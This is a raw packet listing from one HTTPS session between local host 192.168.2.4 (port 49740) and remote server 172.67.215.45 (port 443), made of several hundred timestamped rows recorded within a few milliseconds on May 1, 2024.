May 1, 2024 08:37:00.191586971 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191601992 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191606998 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191633940 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191637039 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191649914 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191682100 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191687107 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191698074 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191699982 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191719055 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191751003 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191755056 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191765070 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191767931 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191783905 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191816092 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191819906 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191831112 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191833019 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191852093 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191884041 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191889048 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191899061 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191943884 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191960096 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.191982985 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.191987991 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192003965 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192004919 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192023039 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192055941 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192063093 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192070961 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192073107 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192089081 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192131996 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192135096 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192146063 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192157030 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192173958 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192193031 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192198038 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192224026 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192233086 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192249060 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192255020 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192259073 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192271948 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192290068 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192306995 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192307949 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192322016 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192332983 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192348957 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192369938 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192373037 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192379951 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192403078 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192419052 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192425966 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192437887 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192460060 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192467928 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192467928 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192473888 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192497969 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192513943 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192517042 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192529917 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192534924 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192543983 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192562103 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192563057 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192589045 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192594051 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192608118 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192621946 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192624092 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192640066 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192643881 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192670107 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192672968 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192691088 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192706108 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192709923 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192738056 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192753077 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192764997 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192764997 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192770958 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192783117 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192805052 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192823887 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192825079 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192832947 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192853928 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192878008 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192878008 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192886114 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192899942 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192948103 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192955017 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192964077 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192971945 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.192987919 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.192991018 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193002939 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193017960 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193049908 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193067074 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193082094 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193110943 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193115950 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193125963 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193126917 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193145990 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193150043 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193159103 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193176985 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193202019 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193207026 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193212032 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193244934 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193252087 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193257093 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193273067 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193289995 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193294048 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193310022 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193315983 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193344116 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193345070 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193348885 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193355083 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193373919 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193377972 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193403006 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193403959 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193416119 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193420887 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193437099 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193440914 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193459988 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193465948 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193479061 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193486929 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193494081 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193506956 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193511009 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193532944 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193545103 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193562031 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193562984 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193574905 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193588018 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193612099 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193619967 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193634987 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193641901 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193646908 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193667889 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193681002 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193698883 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193710089 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193717003 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193728924 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193747997 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193769932 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193784952 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193789005 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193809032 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193824053 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193835020 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193837881 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193845987 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193862915 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193862915 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193876028 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193900108 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193907022 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193927050 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193933964 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193948030 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193964005 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.193969011 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.193996906 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194010019 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194037914 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194046974 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194051981 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194088936 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194139957 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194159031 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194191933 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194195986 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194205999 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194211006 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194221020 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194258928 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194263935 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194269896 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194289923 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194318056 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194319963 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194336891 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194348097 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194355011 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194380045 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194385052 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194411993 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194413900 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194425106 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194428921 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194451094 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194453955 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194473028 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194478989 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194488049 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194504023 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194504976 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194536924 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194542885 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194555044 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194561958 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194576979 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194585085 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194591045 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194611073 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194642067 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194650888 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194669008 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194685936 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194705963 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194709063 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194719076 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194736004 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194737911 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194750071 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194755077 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194782972 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194789886 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194807053 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194808006 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194823980 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194835901 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194868088 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194875002 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194895983 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194925070 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194930077 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194947004 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194957018 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194967031 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194972992 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.194977999 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.194998980 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195020914 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195034981 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195035934 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195044041 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195074081 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195100069 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195131063 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195152044 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195178032 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195182085 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195198059 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195214987 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195216894 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195225000 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195229053 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195250034 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195256948 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195270061 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195281982 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195286036 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195312023 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195321083 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195338011 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195348024 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195352077 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195389986 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195406914 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195421934 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195450068 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195456982 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195462942 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195475101 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195481062 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195504904 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195509911 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195521116 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195533037 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195543051 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195564032 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195570946 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195586920 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195589066 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195622921 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195626974 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195645094 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195648909 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195662022 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195667028 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195672035 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195692062 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195720911 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195725918 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195729971 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195753098 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195774078 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195780993 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195792913 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195807934 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195821047 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195830107 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195835114 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195851088 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195856094 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195868969 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195888042 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195893049 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195923090 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195925951 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195944071 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195955038 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.195959091 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.195996046 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196017027 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196018934 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196018934 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196029902 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196050882 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196050882 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196074009 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196080923 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196084023 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196105003 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196126938 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196132898 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196146011 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196161985 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196186066 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196191072 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196202993 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:00.196208954 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:37:00.196228981 CEST	49740	443	192.168.2.4	172.67.215.45
